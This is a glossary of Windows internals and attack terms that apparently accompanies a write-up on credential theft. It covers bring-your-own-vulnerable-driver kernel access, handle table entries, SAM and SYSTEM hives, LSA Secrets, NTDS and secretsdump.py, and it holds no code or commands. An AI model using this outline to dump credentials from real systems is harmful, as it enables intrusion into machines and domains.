- BYOVD: Bring Your Own Vulnerable Driver, the practice of loading a legitimate but buggy driver to gain kernel-level read and write.
- CreateFile: the standard Windows API function for opening a file.
- DES: an older symmetric encryption algorithm, used here for a machine account key.
- Direct I/O: disk reads that go straight into the program's buffer without an extra copy, requiring an aligned buffer.
- Domain Controller (DC): the server that holds the domain accounts and checks passwords at login.
- DPAPI: Windows' Data Protection API, used by programs to encrypt secrets such as saved passwords.
- Driver: low-level software that runs with high privileges to talk to hardware or extend the kernel.
- Entry address: the memory address of a specific row in the handle table.
- EOF: end of file, signalled by a zero-byte read.
- EPROCESS: the kernel structure describing a running process.
- File handle: a small number a program receives when it opens a file, used later to refer to that file.
- Handle table: the kernel's table of open handles for a process.
- Hash: a one-way fingerprint of a password, used to check passwords without storing them in plain text.
- Hive: the on-disk file storing a branch of the Windows registry.
- Impacket: an open-source collection of Python tools for Windows network protocols.
- Kernel: the core of the operating system that enforces rules and sits between programs and hardware.
- LSA Secrets: secrets stored by the Local Security Authority, including machine account credentials.
- lsass: the Windows process that handles logins and keeps credentials in memory.
- Member server: a Windows server in the domain that is not a Domain Controller.
- NTLM: an older Windows authentication protocol; an NTLM hash is the stored form of a local password.
- NTDS service: the component that serves the Active Directory database and keeps
ntds.ditopen. - OVERLAPPED: Windows' mechanism for asynchronous I/O, where a call starts the operation and returns immediately.
- Primitive: a small, reliable capability such as reading or writing 8 bytes of kernel memory.
- Qword: 64 bits, or 8 bytes.
- SAM hive: the local Windows account database used for logging in to a single machine.
- secretsdump.py: Impacket's script for extracting secrets from registry hives and the AD database.
- SYSTEM: the highest local Windows account, the one the operating system itself runs as.
- Volume Shadow Copy (VSS): a Windows feature that takes point-in-time snapshots of a disk.
- _FILE_OBJECT: the kernel's internal representation of an open file.
- _HANDLE_TABLE_ENTRY: one row in the kernel's handle table, split into a
LowQwordand aHighQword. - LowQword / HighQword: the two 64-bit halves of a handle table entry; the
LowQwordcarries the encoded object pointer and metadata bits.